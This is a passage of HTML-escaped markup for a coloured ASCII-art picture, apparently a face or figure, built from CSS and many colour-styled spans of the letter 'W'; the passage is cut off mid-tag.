#000000;&lt;br /&gt;            background-color: transparent;&lt;br /&gt;            font-size       : 11px;&lt;br /&gt;            font-family     : "Courier New", Courier, mono;&lt;br /&gt;            line-height     : 9px;&lt;br /&gt;            letter-spacing  : 0px;&lt;br /&gt;        }&lt;/style&gt;&lt;span class="asciiimage"&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 214, 214);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(132, 71, 58);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 86, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(222, 214, 214);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWWWWW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(117, 59, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(149, 118, 115);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 86, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 72, 70);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(132, 71, 58);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 239, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 72, 70);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 72, 70);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 94, 78);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 72, 70);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 239, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 72, 70);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(141, 89, 82);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 72, 70);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(239, 239, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 78, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 74, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(206, 192, 183);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 239, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 239, 231);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 72, 70);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(171, 120, 105);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 74, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(133, 55, 47);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(146, 65, 49);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(117, 59, 48);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 72, 70);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 78, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(117, 59, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(146, 65, 49);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(117, 59, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(132, 71, 58);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(117, 59, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(142, 68, 60);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 78, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(132, 71, 58);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(146, 65, 49);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(117, 59, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(218, 210, 202);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(214, 164, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(219, 203, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 239, 239);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 72, 70);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 82, 66);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(140, 78, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(24, 8, 8);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(222, 156, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(24, 8, 8);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(40, 31, 30);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(117, 59, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(132, 71, 58);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 78, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(132, 71, 58);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(165, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(156, 82, 57);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(140, 78, 61);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(132, 71, 58);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(117, 59, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(24, 8, 8);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(85, 55, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(218, 210, 202);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(99, 85, 86);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(126, 93, 85);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(40, 31, 30);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(16, 14, 14);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(16, 14, 14);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(231, 173, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 104, 99);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 156);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(222, 165, 132);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(40, 31, 30);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(8, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(189, 142, 120);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(13, 5, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(85, 55, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(214, 156, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(218, 210, 202);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(13, 5, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(8, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(189, 142, 120);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(8, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(16, 14, 14);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(40, 31, 30);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 231, 222);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(218, 210, 202);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(231, 165, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(226, 169, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(85, 55, 48);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(13, 5, 0);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(189, 142, 120);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(8, 5, 9);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;WWW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;WW&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(255, 255, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(106, 116, 127);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 255, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(255, 247, 255);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(195, 137, 109);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 181, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(158, 104, 99);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(148, 105, 102);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;WWWW&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(199, 162, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 140);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(247, 247, 247);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWWWWWWWWWWWWWWW&lt;br /&gt;WWWWWWWWWWWW&lt;/span&gt;&lt;span style="color: rgb(61, 80, 88);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(194, 190, 189);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;WWWWW&lt;/span&gt;&lt;span style="color: rgb(214, 164, 144);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 173, 148);"&gt;W&lt;/span&gt;&lt;span style="color: rgb(239, 181, 